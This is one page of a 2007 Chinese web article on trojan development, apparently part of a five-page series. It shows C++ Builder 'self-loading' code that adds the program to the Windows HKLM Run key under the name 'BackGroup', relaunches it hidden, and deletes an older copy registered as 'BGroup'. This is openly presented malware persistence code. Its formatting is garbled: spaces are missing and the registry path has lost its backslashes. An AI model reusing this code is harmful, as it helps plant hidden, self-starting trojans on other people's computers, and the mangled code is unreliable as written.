WEB开发网
开发学院网络安全黑客技术 透视木马程序开发技术(上) 阅读

透视木马程序开发技术(上)

 2007-09-06 20:34:26 来源:WEB开发网   
核心提示: 自装载部分:HKEYhkey;AnsiStringNewProgramName=AnsiString(sys)+AnsiString("")+PName;unsignedlongk;k=REG_OPENED_EXISTING_KEY;RegCreateKeyEx(HKE

自装载部分:

HKEYhkey;
AnsiStringNewProgramName=AnsiString(sys)+AnsiString("")+PName;
unsignedlongk;
k=REG_OPENED_EXISTING_KEY;
RegCreateKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWAREMICROSOFTWINDOWSCURRENTVERSIONRUN",
0L,
NULL,
REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS|KEY_SET_VALUE,
NULL,
&hkey,&k);
RegSetValueEx(hkey,
"BackGroup",
0,
REG_SZ,
NewProgramName.c_str(),
NewProgramName.Length());
RegCloseKey(hkey);
if(int(ShellExecute(Handle,
"open",
NewProgramName.c_str(),
NULL,
NULL,
SW_HIDE))>32)
{
WantClose=true;
        Close();
}
else
{
    HKEYhkey;
    unsignedlongk;
    k=REG_OPENED_EXISTING_KEY;
    longa=RegCreateKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWAREMICROSOFTWINDOWSCURRENTVERSIONRUN",
0,
NULL,
REG_OPTION_NON_VOLATILE,
KEY_SET_VALUE,NULL,
&hkey,&k);
RegSetValueEx(hkey,
"BackGroup",
0,
REG_SZ,
ProgramName.c_str(),
ProgramName.Length());
intnum=0;
charstr[20];
DWORDlth=20;
DWORDtype;
charstrv[255];
DWORD vl=254;
DWORDSuc;
do{
Suc=RegEnumValue(HKEY_LOCAL_MACHINE,
(DWORD)num,str,
NULL,
&type,
strv,&vl);
  if(strcmp(str,"BGroup")==0)
{
       DeleteFile(AnsiString(strv));
       RegDeleteValue(HKEY_LOCAL_MACHINE,"BGroup");
       break;
  }
}while(Suc==ERROR_SUCCESS);
RegCloseKey(hkey);
}

上一页  1 2 3 4 5  下一页

Tags:透视 木马 程序开发

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接